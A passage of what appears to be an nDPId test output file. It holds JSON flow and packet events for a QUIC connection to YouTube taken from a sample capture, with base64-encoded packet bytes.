iall82sYIzujJV2eEmSxVGrXgdwnEo24jy3PXEgwhIODsHz2lEwMzB7Junn5Fxx\/wHogWCSkhroVzTEcXji0toaKKW2C\/sjLL4Hx\/uc6Fh9FqIQ4mtE7XBkAAAAQ0MyMENocm9tZS81MC4wLjI2NjEuMTAyIExpbnV4IHg4Nl82NO4xNazIxw51CPh92NozyjEAAAAAWDUwOQAAEAAeAAAAV2LXIh+dp84WNbuB7eLfYt7CEN3uuVCwsaMPVZLZkwAcWv3ewLeWKh8oWp+ADGqv7hr4e6BITFL34pf63u8lTgEAAABDMjU1Ve9eTSHF9WVGSVhEVe9eTSHF9WXiYxqCfXGFX0ALe5CprnnrQX4AAJnDlbsORKBU4xOKlwWO9P4E5XFal5z7hzqpwhe\/gMX+Blclu+PZJjQ25zzFRxooIRN4BrBfLQmDdxaJYtqVNyhOzgBZdHzyh0tqgzeC9Fkja7K8HfjiuAyeK8FHD1egJgrMDFGpXlhTM816keOEywC8bzRfESJQUt0PZFKBRrh3m2XPL+hfh5e34YbH0wkaQLc6HM0z36TboZSwOAF93TLAofZgAADwAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00622{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":450,"source":"quic.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1463075953299,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.109","dst_ip":"216.58.210.206","src_port":35236,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC.YouTube","breed":"Fun","category":"Media"},"quic": {"client_requested_server_name":"www.youtube.com","user_agent":"Chrome\/50.0.2661.102 Linux x86_64"}} +00860{"flow_id":10,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":451,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463075953,"pkt_ts_usec":300127,"pkt_caplen":387,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":387,"pkt_l4_len":353,"pkt":"6HTmLPTkABlmWmaMCABFAAF1aTxAAEARYx3AqAFt2DrSzomkAbsBYbFkDby767UFbXetUTAzMAIyT2zFCwKRbjpW5pKGcwa\/zOYtI4ibM\/DXTo+3hM8QHjQop2VE57N\/4px1Dr2rh1Of6fuprsXKXOLDTQHDMOztLE0ibzNUs5cviwMINA8HUKs1w\/8wSCAJg+c5E0s64vzHKdQ5N4AY1I+whZj+YXv7QX9bQtyBCP0WJRsK41puLJyY\/5rYf1WXDzsnCxRRei33WDvMsb+MNKppe2kXK4Q1DqzsKviobjh+ZnTmMaJFKxfjljXwNv0dsW2Nhjh9NEpVNdRUHHe+L\/umz5nJPSc8m3xsZrs27PfAfYs3O4DQT7zrN+rUD1tvAlM6ojpuYBXQUKIqFg6jkPkLtz0lnT5ofUC3bxq1J8gFqtExK3aj\/kH0as9Y1tYZiRMdgBmqLNq1Ru6unJsdETbKAQha1+Pgo4qtxiVVhohC7TEjAQj3UwwRrwKowX6bUvpY"} +02210{"flow_id":10,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":452,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463075953,"pkt_ts_usec":334920,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"ABlmWmaM6HTmLPTkCABFAAViGxkAADQR+VPYOtLOwKgBbQG7iaQFTgWwDLy767UFbXetARhGCjp5JYP2NRSCDQGAAVJFSgAHAAAAU1RLADwAAABTTk8AdAAAAFBST0a7AAAAU0NGR04BAABSUkVKUgEAAENTQ1RGAgAAQ1JU\/xIGAAAt19AYB5aaMKurHRM81LpDG06F1\/HgjIAXnLSYHoaRDG+YCx4gYrs3k43pE\/W5utsyegd0CLIV4fasqoZkRpVLMtnpS+sIRqrbfvgjIL2IUeZTlSGu\/7+bU4Z+Ij1vgEEcToZ\/00OYAYgC+05liNl+ov97hTBFAiBs6kS1HuLjC8x7gQEfBCOAowmjvDZU885lgtcWaGEy0QIhAPm+1mJq5QK6WHRPaEUwOfyND\/8ufeGnt66391Aj9lqnU0NGRwcAAABBRUFECAAAAFNDSUQYAAAAUERNRBwAAABQVUJTPwAAAEtFWFNDAAAAT0JJVEsAAABFWFBZUwAAAEFFU0dDQzIwWGClOjtYNIHfmiHJ0bGFX0NISUQgAACup8alaVf8gP6KOzle5pjmXvoOKgb+N2LRgB5dcX8Ka0MyNTUSxc3dEjis6kATN1cAAAAADQAAAADyAHcA7ku9t3XOYLrhQmkfq+GeZqMPfl+wctiDAMR7iXqo\/csAAAFUe1HMJwAABAMASDBGAiEAqHfzHEY9KN1QjXeaiZlcHt6ybhyDsnLIoo6e82Zg73ACIQCveMl0OwuTrVY5LqDcb5TIihLD6ZAJQlUDU68E5\/BK6AB3AN3rHSt6DU+mIIuBrYFocH4ujp0B1VyIjT0RxM227L7MAAABVHtRyfMAAAQDAEgwRgIhAMWc6riI2T4lmoQuPyvTrFTQuoCnh6VaWJBNwHgCZloKAiEAiHJhhSnJcrUXaDEZQLClSBLKToA3CEOVFu+IPvrOhh4BAwHogWCSkhroAwAAAAN7Junn5Fxx\/wAAAAAA\/wYAAHi7c1AtxPvNxgAsudi+GzSx3oe04Tic2NatWf922kf0hhwVG1mgwsAMmIdMgPkF1p4zMDcyN7AwtgR1otKwWsXBw+UMTDdp+UV5mYmwBMnOw+ubX5pXAkpdYZmp5XB38SC7S9RAGOwuHh4tYJiChMGRGwkUZgf68ZwtsPnBAWYwM7IzOzGwvF91fdMNT2Ud1a7MlSledVlybaZOW\/IT25eYrq8qUp7OLmq33YHB9tcRfpb4rOn2rfYyM5bOl9xpdepuGi\/LiYsHpi9uYuk3aGLpJlSANTGD+wiCLE3MrkCOYxOKA5t4tfQS81KK8jPBDZ4mMSC3oCA1Lz0zLxVZmZCWXnJOfmkKspgYzCDdxLzEnMqSzORisDg3woJEZE5OEx+S1XqZeaj8rAJUfml2Ez+yU\/USi9AFStEEktBVJOejCeRWoAmUoGspy0Nyc0oqEie1GImTVoTEyShF4mSWIHHycpA4BSicElCgQjiJKcAiABJ4cMdARPKaRGACQNncVGCLAqxMECZalpmSmg8WAsVrcQmwYEwGaeNF4gEluYDcshJDJLYRmA00PTe1pAioClk10Chg2yUjE1xANQmAeDloMV+ZX1pSmpSqm5efnJ+fnQlPTFBxNGWpKaWQKhyWQICpJTcdzJGCJ7+czNS8kmJke7iRkyYLSH0TG1Aa2MZpEsGa9LiQkyyWYONC8hYXuGiGmMYBdqdeEjC6kT0ggs35SA0q9gaDDKRiOQZYsGgjFbjy0DKwIDsTyVf67p6O7kbgElUbqQyHKYYGgyGyDlC5jtTI273NV8E2Yd+C1ye2dnFOb2eeVW6ug9bQQS6rsfaMFCEtB2DVhdYd4WBjS2\/kARbTBgaQ"} +02206{"flow_id":10,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":453,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463075953,"pkt_ts_usec":334963,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"ABlmWmaM6HTmLPTkCABFAAViGxoAADQR+VLYOtLOwKgBbQG7iaQFTn+aDLy767UFbXetAjcEx0PBrMP0Mk6hSQCkAS0FJQGmjqaBuoHqAuUFioT8k4OtKzON+1jJ1a9BYesmXwtoZygIO1f7MXnvD7WTuRW2dWnKe9UOhyqmcjQYau6f57FwFtuT9a3B0zWmu6\/gML2tuuOO7NSHmdtZf+m9zy3mfKKi9+PCa2YjhQlc8plO7kEX39lzLX+5y7X5+PWbL\/VCIsuPBrp4LjSfLtfX7Jox5e\/r4Cc3z4exzLRvdpaIz\/h\/bimLQtn1RRz3n9fMePKm0PBz8aXsLEWdj5lFk5dkz1rg66v\/bm7SZ4uw2wqzBVIbeU\/6rO+YXbjq4OEa1TIXBpPNElHFLxc4XGYuW5q1X+7Ls7qnT43ZtD\/5mu3V+ll5brrjxuk3J31gMTd4kny\/\/2W8wqGSvKd39b5MWp26xxgAOnpZFgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +02212{"flow_id":10,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":454,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463075953,"pkt_ts_usec":340612,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"6HTmLPTkABlmWmaMCABFAAViaURAAEARXyjAqAFt2DrSzomkAbsFTjuODLy767UFbXetA5AoC1nXMuDNsryepwFAAgFLEgEA4JgAAAYAAqQBAAQABENITE8bAAAAUEFEAAQBAABTTkkAEwEAAFNUSwBPAQAAU05PAIcBAABWRVIAiwEAAENDUwCbAQAATk9OQ7sBAABNU1BDvwEAAEFFQUTDAQAAVUFJROQBAABTQ0lE9AEAAFRDSUT4AQAAUERNRPwBAABTUkJGAAIAAElDU0wEAgAATk9OUCQCAABQVUJTRAIAAFNDTFNIAgAAS0VYU0wCAABYTENUVAIAAENTQ1RUAgAAQ09QVFgCAABDQ1JUcAIAAElSVFR0AgAAQ0VUVhgDAABDRkNXHAMAAFNGQ1cgAwAALS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS13d3cueW91dHViZS5jb20t19AYB5aaMKurHRM81LpDG06F1\/HgjIAXnLSYHoaRDG+YCx4gYrs3k43pE\/W5utsyegd0CLIV4fasqoZkRpVLMtnpS+sIRqrbfvgjIL2IUeZTlSGu\/7+bU4Z+Ij1vgEEcToZ\/00OYAYgC+05liNl+ov97hVEwMzB7Junn5Fxx\/wHogWCSkhroVzTEcRLFzd0SOKzq+zk+mmsJWuphk1V0lOwLwQaCtEVkAAAAQ0MyMENocm9tZS81MC4wLjI2NjEuMTAyIExpbnV4IHg4Nl82NFhgpTo7WDSB35ohydGxhV8AAAAAWDUwOQAAEAAeAAAAC\/h+hADy9UF9DtF\/5hsJflX9lpR4jxEZW13eD4Inz\/77x5rVwibkGp1mguQM3JFnP0\/pCunhZLgVQuGPzw\/mMQEAAABDMjU1Ve9eTSHF9WVGSVhEVe9eTSHF9WXiYxqCfXGFX0ALe5CprnnrQX4AAJnjbhk5TD\/ODs2TqaUMwxu67ShCzPfkFA65FbK21znR0q1zZidLzW\/F\/yyTMu4LUplgEwTzPx\/Cpv4QFsRjD5LoV\/V7mHtXI1TyJDoDCcXS9mjq9LGSRD7btROYRgpKlFbMNj4+UHP+JESXYYf+R4+5w3QLECQuncXrEDewfoYOi6pFY4l4uH9PvKDYgLdn8764cGh2cFKSvAnNt\/t5JO7XvJ40AADwAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00854{"flow_id":10,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":455,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463075953,"pkt_ts_usec":340744,"pkt_caplen":383,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":383,"pkt_l4_len":349,"pkt":"6HTmLPTkABlmWmaMCABFAAFxaUVAAEARYxjAqAFt2DrSzomkAbsBXYUEDLy767UFbXetBAdVSsgwbD6JdFGg9ZqZkHo2fdS8aK5nIdyh1ZIIoC7vXucm0QkHM9JI134CLTJNitnhwRwSGRdVesV7063UgLB65NDpRYeFcJSvBdf5ln+L+nhsjeNl8iKkH9e\/zzT4Jz3qNo1Y0yZB\/qFe+5797sBZSKINjbkBN7F55NHK83B7mVRKbnc6u0YyLGedM9+SZpESqHlx75rzFGzepZ87ok9OlNgPpGumCicKx9BzKkh3A9PKDU+EgBNX0E\/A9SLOlenldctOUhM5eDTQ3fEaLFpKNsFq2uPcXvy+DiIThIVBXPMwbNBOkvTx+Ta3pp7N6bboNoViWOspkJWQgw9dhOlT5Y7mWiy9jHhWIsaJa21\/gypZ\/rk1tzUermtUueVq0SXUwtyv6m2L1wIGvWa7+hLgronjR1dG2zQlpIfjs+eWQgDsa+lPqPKzRU4="} +00446{"flow_id":10,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":456,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463075953,"pkt_ts_usec":358980,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"ABlmWmaM6HTmLPTkCABFAABBGykAADQR\/mTYOtLOwKgBbQG7iaQALY6yDLy767UFbXetA3zojFew7R4dLu2UnQFAAAFTJAEA5v\/\/\/wYAAg=="} +00447{"flow_id":10,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":457,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463075953,"pkt_ts_usec":366701,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"6HTmLPTkABlmWmaMCABFAABEaUZAAEARZETAqAFt2DrSzomkAbsAMFyXDLy767UFbXetBV\/Y7Ul5oQwe9Lv9muLimrGtMuB09oWkLc0AHLG9cw=="} +02223{"flow_id":10,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":458,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463075953,"pkt_ts_usec":375808,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"ABlmWmaM6HTmLPTkCABFAAViGzYAADQR+TbYOtLOwKgBbQG7iaQFTsZlAASWtj9YnykbY5sBtxIP+5DRkbaWczK8TvU2B\/SQWWTYGKamP7O5HmWaiLp\/YdB4SNUSbIf5W74zN6NHV7UcGkr2Yrg33gzpBw6REFaJAJAmKPqZcEv3goC4vCeOW+VCjAuXZr3gljp2oqo7noRfZGWstuIVsQDlrz5GVGVqgiU82\/T\/2uTPcU2O7LRk0l6kqp2qMEKMNt8moBBXVMiTwtboxn40bWGIznK0xa7dMuN21jsJO9Sm5B7NhegHUcLU8Bu99\/XqYYGSGXtEb5XbISzp8l9sf9zxZtYSf3D4XNH9xlNHuRLJ7Q4BSCYv1QXr0Q5p8+I11snVS84ZtncLfFfYRFkLDLOy+LLAZny8\/\/y8gm61wbavSBr1e\/VGMqmBOuOXMo3thac8Y+8BgX8IBssxz5zQI\/y8uEqe1wrDBlODHxOvnSAZNIQ7zTEaU0eYI59CPc797\/Z7ZNf\/r9AvqKjKUDE2hSlUMUCZpXk1b+2\/sGleIonkb5WKJ857sK8WDmOjh4GMkhh0IwNHOnYfP2idd44KYUkJTmt52oh70eN2zu4dz4TqLkqxOl6+v8RIL0VS2XU2M2APueLlnsv13tVtz0ILO3kfZrj11fTEmJB4MsGWr8+gq4sFuo7+0Ka1laiSwtrqKsbiL7Wzq9usDkqaQzB0yVhwVGmwbqrDtI6mfTh0xleRkReAg3INVC6YUqzO3Kc4yXSThme+2G+QlIFcsNiSUtHkU+L4qXfmopQc\/PKDiWgALJnQioqOar2DCvrFRhXqGqLQjQFASkvMsbAhYmzvzCbYQmvv6LEJzdmmSPHE4kzBfXJrCZhEvlgvc3g5UXeb1tgk7r2g3l9z43ZknaA7vUN8mFfuqu4N02PbeoHKRs9MDny9ZCwpst2CiYfnBSC8GH83UcTVpbS9VczcvRq5yG5vSrqLTlBfc8YTmBQ10KXB2lxnkxKhsPm4zd8pzCnmVmllqDZfN\/O25+HU8NW9wpUFANGRZdPbnGLlFn1CODGEEr9uz\/yUKzVXsy2D9r45WpH2aD8goCDukhLWvUZjOQ6V16yIeao+3Ju+FIV6lxcVkW7fF0FgmOzn7Q3XyhXnRhIqRBE13mGQ0O6pgpALZQLKCUGJnqBE4RVCjdPDn2cAUqvY0mMalRd+hOIOZQ1O1B+JTmSBqTRZ+lQ7parmmSp2IwcH4K+cOLz2M9MFxGyCIFxfdV+ZcsvqOS46\/yAIvKMyCXffkNdsOjp3J1hA\/ZxYVhdUhdWfqdWf8Z57roWUj1Kb0PG9jB3hxflfIc\/ezEmRK2F5L4AFs1Y2tHdp0P9ekVnAv9Cr47t5nMc+P7sfo0jhHmBGl78\/bvMBIDVRJEXWT1+DyZkP7Lx+u3LRCvJkp6QW\/7V\/jDyg3BSk23E\/mcnxK6Ox+MclUI4N61vd8JXNt474YaII3F+qJw7zK3+UfZZmNT1td+6FD05AIjwYN2FU8CvVtsG3YGUuKOdv1tZKxpNazfuSpWxFBXXTysKdO5SBOqdGe+kBc0ppMGulJz7VOz4nRHaOGUpI\/gjd0K6RarmScjpKgUhUiFAFebW2k4zeW5WcLH\/MDljos\/EtubwGbqhPzO2F37mc3DhVhRXF9v5mD7Jcb2eDBlYJPw\/nBE6XtRHI2ZvtQcjRANi1aIW4GRdCoRc1k9v8p\/x9UTKJoL8K8rHmGM6qxNxVU8Bcl3kh19bqy6xq7n01NpkFrzvUB34VxzXc1j52SPEVHPXQvyFUreHsICUUwjykqnoTXeSLvTjZ5pq79wmf5SaRHobMi6WrsuImsgGQdVLk"} +00438{"flow_id":10,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":459,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463075953,"pkt_ts_usec":375870,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"ABlmWmaM6HTmLPTkCABFAAA9GzcAADQR\/lrYOtLOwKgBbQG7iaQAKUF3AAXpEna\/1bsyV2UQHGn\/WgMXYkyG+BOvL+ELY+mSKwWN"} +00437{"flow_id":10,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":460,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463075953,"pkt_ts_usec":376402,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"ABlmWmaM6HTmLPTkCABFAAA9GzgAADQR\/lnYOtLOwKgBbQG7iaQAKbdNAAb6THm387WL8oM\/s18Dn2gGU35xzD6QbukfJp1OJZ9l"} +00452{"flow_id":10,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":461,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463075953,"pkt_ts_usec":402160,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"6HTmLPTkABlmWmaMCABFAABHaU9AAEARZDjAqAFt2DrSzomkAbsAM8DkDLy767UFbXetBnnzZOEdEf3uWTpR0NMk3sHOENsD6bt3rPyqS4t1oF\/fLw=="} +02226{"flow_id":10,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":462,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463075953,"pkt_ts_usec":428061,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"ABlmWmaM6HTmLPTkCABFAAViG1QAADQR+RjYOtLOwKgBbQG7iaQFTg9DAAdNVYQf+iC\/\/853DRLv9axgfYBjztrhLSg1s8tnb+0mxaeHezcc8sEddrmKsZSRYWcrYF9VCqiHXDNKY7dY1PB7CJYNS5aD\/r21wISS9hMPwdB21G0Hcu+EwnECvwvM\/0xR9AM4oKNl\/3Fe9H0H4yUBO+KpL02GhxngHzlMTv97MiyJNHcU5XwZRgKsobi246ls5nyH3OCZxd\/WriGpW2D6YWBfhEru0wVQ+nFW5usrHs+808xWtp9abq2fIE8jKQM9AUn07ujtqFyYYp7H6GsqZ2djyBzhplSARzFL7u8xxm+xJ35T+W5\/3hR97w6FY+61zAgwk\/S\/3EuUyCgVQFfmkHLxa6ffAEzwOTYE6NluPvfUV0vaIfE520EylO59UTrD6SOhmFdEOPU0sTo3an5mnvGPF0OObkkn6zPg8lGg\/Xk9uTv6kXKi18HEk3FdChYdgWoLPdR8RpexHHhk\/KYCZeLsFkh8eQabTnrsLoxUB0M1cdHt3S0K4onDVqG4JaGdOeCx8ckepZs+FRor1WlvquFD\/IYEYz9n1WLSGD1C8PAGI1w9AtK8khS5UtdPZPtePvZ3UhiZviplzXovmyqN7iGfs+7OBMKQ+v+fJgg31saWnMURKaB3mzV7wylK2vPSxK7Iq7AUQ3FLWKc\/D34uZL3FdKdeQAxj+fmF2IXJNSY4TxrLZm1Pz8Ot9ccSpLzARv7TWoXwWYw+V9iO1HONycd4WPSVV6pvGAzZELYGSsJLiQJCMrMCGhXkFA6skX5RdZyRfJde+raE8ky162\/k+onPLGYaZSA5H+DU8coiAQ+7SS+pMoZbHIXREskFi3GgirDbcEc3S51yo7dGJwmt1DxJcpvtMIPYhsv+9iK5hN30QQhogta+eeJMk0oDeG\/zTwwAgZB0i04J\/LAbx9IqWhahgOgjWQTAVzkAZ4qFtnNgLQhQFsU\/EoOVwH\/CQOHRF9NWLW3zLjLAB2Q6cru\/cATFHBFbG7lpIxZaHXMRhMgRTPMPqUdk6ZSthg+ZtlB8VOTykzthfFzwa9eNEbOQF5LdqraJbWq9yQhYRvvt3Fqrys39jzAHeCuynF2lRcI1vJjQWoeaQN\/2e0KkJEunqTGdkXfw+mgJdEvWZYi8+p4iGujkl9OViO0hLMmbX1IiYinomNW6RcuMWUkHc\/N6Gkf9x47XwRy5bF7i3AysneHT0NXiKScMqzQVzAZMmJMfcGL5JbR\/H\/Wm1ZrLc1AAVot4upxeIGzzckokXpU9TRMFJWZIijs+urWA9aAgjBWTCh3THScrEgL6pJVhU3VYARS3mfGP5HLAc6C33xhvYf9m15dTcFn+nCmsQf+oYlReM4o+dZi16U1hDDlnYctSQnRdyuomM5Cv5lG+9ZIEGCbCpmUpC36bVLhK1dOOl1z43aDZL02uWMtOdwTlTXw8zTgKle1Qpq7MRETMxTvFWWO5UGb7dMrK0+6uK6z9GCWNsPBv1QI3UOSckN88QmdpxB5Zm0OgrNSBQ\/QfUKjp1aUPiJdx1CUOaMb4EvAQgUVnc+b6f0pS5eyfiwmzd\/fCfIEdPACHCrZVZR7MOe0wcQUTnsUk12JTBMut+jzUQ8PAsH56VvuhvVc+CzBC\/a7HaXhb153HKPnZGVYvtheUnb51Phx1AOdOTUy6mbYJTr8ztC8UUfebEUiRJf7mveK8IP2PLTb1k\/fi6C2QvpDL\/c602MwBIC8TEJ3tTJ763IFx3cn4NRzl2mbKI24Fubuvhc2UMlR9hQPX4rX0esWexvKpDui+X3OzHWrlV5pGYL5pD\/tM"} +02228{"flow_id":10,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":463,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463075953,"pkt_ts_usec":428507,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"ABlmWmaM6HTmLPTkCABFAAViG1UAADQR+RfYOtLOwKgBbQG7iaQFTqXWAAj5CaSOKUnUAmbVYxJjCiYKf27SpOrRU\/gvItHJBLhsGyh4WeXfwYt5YzSMbZNmml899qQN3A4wKwdsahus5C1yoXENkWtilCnVV1NqJAqiaiZKq8NvECrLoLhms8NiYEYK58xEerw3FMM\/\/B5RUtrf7J6OWB6VVOjwTu6DRXQXubQdhEIZR1WSDoZq0CSvZP1\/\/qxYoOcwnpFW7FU1pA5jtaVZ11kUW3DKUikzmXrTX+WkOaunhYNZffb\/5FxdZ+fwjYac69cXVIn02n+v69YUgdUkH0j7MDzgPK23MjPCQOwZTU+OASdqebPcVZYNFhYzD0K7Hs8HmkfPBnbpYgcxebN9x2A34ItdlBOiluxkftOpWlGk8ReyA7ziEDZ\/YHMiVE9iCI0k\/Q+v5WOAznVQS6A\/JWDLqV+cbZInQSh90ZSLUCkbjoycP65jRWsJOUPceBG3urCE47BKEOhDxqDE3H\/b+W+vZIem18eZOSuhWCRqb5DINDkLKE0lndwbYQxviab\/Cj8DCDdnw9alf053R8C2gR13TUJkazv7E5d2KJBwGlyhLse2tugKyHr